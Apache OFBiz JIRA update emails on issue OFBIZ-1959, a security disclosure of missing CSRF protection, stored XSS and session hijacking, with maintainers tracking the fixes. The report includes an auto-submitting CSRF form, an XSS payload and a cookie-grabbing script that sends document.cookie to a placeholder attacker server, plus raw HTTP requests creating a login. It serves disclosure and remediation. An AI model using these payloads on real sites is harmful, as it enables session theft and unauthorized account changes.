[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Jacques Le Roux updated OFBIZ-1959:
---
Issue Type: Sub-task (was: Bug)
Parent: OFBIZ-1525
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Sub-task
Components: ALL COMPONENTS
Affects Versions: Release Branch 9.04, SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: Release Branch 9.04, SVN trunk
+++|||Discovered security
issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent
to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in
the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that
only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in
a way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
img src=http://x.x.x.x/malicious.js;
The malicious code will look as the following one:
script
var
str=http://ourHackServer/CookieWebServlet?cookie=+document.cookie+url=+document.URL;
if(document.cookie.indexOf(done)0)\{
document.cookie=done=true;
document.location.replace(str);
}
/script
Of course the code can be a lot shorter, and the already-exploited-check
can be removed.
After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL
(remember document.URL) that will be an
authentication-required resource, the login page will ask us for valid
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Michele Orru updated OFBIZ-1959: Hi I had a bit of time this morning to check XSRF mitigation on ofbiz latest trunk revision (766265). I don't see anything related to this analyzing requests, so no random token added by the application to the resources/uri that can be called for a potential XSRF attack. For instance, after logging in the partymgr application, the createnewlogin URI is a sensitive one, and should be protected with a random token appended to it. GET /partymgr/control/createnewlogin;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1?partyId=admin HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://localhost:8080/partymgr/control/backHome;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1 Cookie: JSESSIONID=BF7AEB9DD406B459E31BC234491970BC.jvm1; OFBiz.Visitor=10200; partymgr.autoUserLoginId=admin More than the GET request, the successive POST is dangerous without XSRF protections: POST /partymgr/control/createUserLogin HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/createnewlogin;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1?partyId=admin Cookie: JSESSIONID=BF7AEB9DD406B459E31BC234491970BC.jvm1; OFBiz.Visitor=10200; partymgr.autoUserLoginId=admin Content-Type: application/x-www-form-urlencoded Content-Length: 152 enabled=partyId=adminuserLoginId=euronymouscurrentPassword=euronymous666currentPasswordVerify=euronymous666passwordHint=e6+requirePasswordChange=N My old XSRF demo is till working here: html head body form method=POST id=xsrf name=xsrf action=https://127.0.0.1:8443/catalog/control/createProduct; input type=hidden name=isCreate value=true input type=hidden name=productId value=hack02 input type=hidden name=productTypeId value=DIGITAL_GOOD input type=hidden name=internalName value=hack02 /form scriptdocument.xsrf.submit(); /script /body /head /html If open this page with the same browser you're currently logged in (for instance in the partymgr), the catalog login is proposed to you: you pass the credentials to ofbiz and the XSRF is working without any problem. david, what you said in comment of rev. 751501 is true, the patches to RequestHandler are OK, but as you can see here is enough to craft a XSRF directly to and https resource. Anyway, XSS has been fixed, XSRF is still working but is harder to exploit. Great work guys Michele Orru' Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation Key: OFBIZ-1959 URL: https://issues.apache.org/jira/browse/OFBIZ-1959 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: Release Branch 9.04, SVN trunk Reporter: Michele Orru Priority: Critical Fix For: Release Branch 9.04, SVN trunk +++|||Discovered security issues|||+ 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on 3.: Session Hijacking +++|||Exploitation|||+ 1.: As can be verified with your favorite proxy tool (we use Burp), POST request parameters are never fortified to prevent XSRF: no random token protection can be seen. For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim) to executes. - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is a potential victim account and 667 the attacker one. - In POST requests it will be an auto-submit form or a XMLHttpRequest (if we would like to be more sophisticated). I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE: malicious mail link, link in chat programs, malicious pages, man in the middle attacks,
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Michele Orru updated OFBIZ-1959:
Hi developers.
As asked by Jaques a few days ago, I did a pen test on the latest ofbiz trunk
and I can see that XSS has been well mitigated...
will test for XSRF asap. Lack of free time right now :(
Good work David Jaques
All the best
Michele
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: Release Branch 9.04, SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: Release Branch 9.04, SVN trunk
+++|||Discovered security
issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent
to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in
the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that
only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in
a way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
img src=http://x.x.x.x/malicious.js;
The malicious code will look as the following one:
script
var
str=http://ourHackServer/CookieWebServlet?cookie=+document.cookie+url=+document.URL;
if(document.cookie.indexOf(done)0)\{
document.cookie=done=true;
document.location.replace(str);
}
/script
Of course the code can be a lot shorter, and the already-exploited-check
can be removed.
After we have a
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Jacques Le Roux updated OFBIZ-1959:
---
Affects Version/s: Release Branch 9.3
Fix Version/s: Release Branch 9.3
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: Release Branch 9.3, SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: Release Branch 9.3, SVN trunk
+++|||Discovered security
issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent
to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in
the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that
only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in
a way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
img src=http://x.x.x.x/malicious.js;
The malicious code will look as the following one:
script
var
str=http://ourHackServer/CookieWebServlet?cookie=+document.cookie+url=+document.URL;
if(document.cookie.indexOf(done)0)\{
document.cookie=done=true;
document.location.replace(str);
}
/script
Of course the code can be a lot shorter, and the already-exploited-check
can be removed.
After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL
(remember document.URL) that will be an
authentication-required resource, the login page will ask us
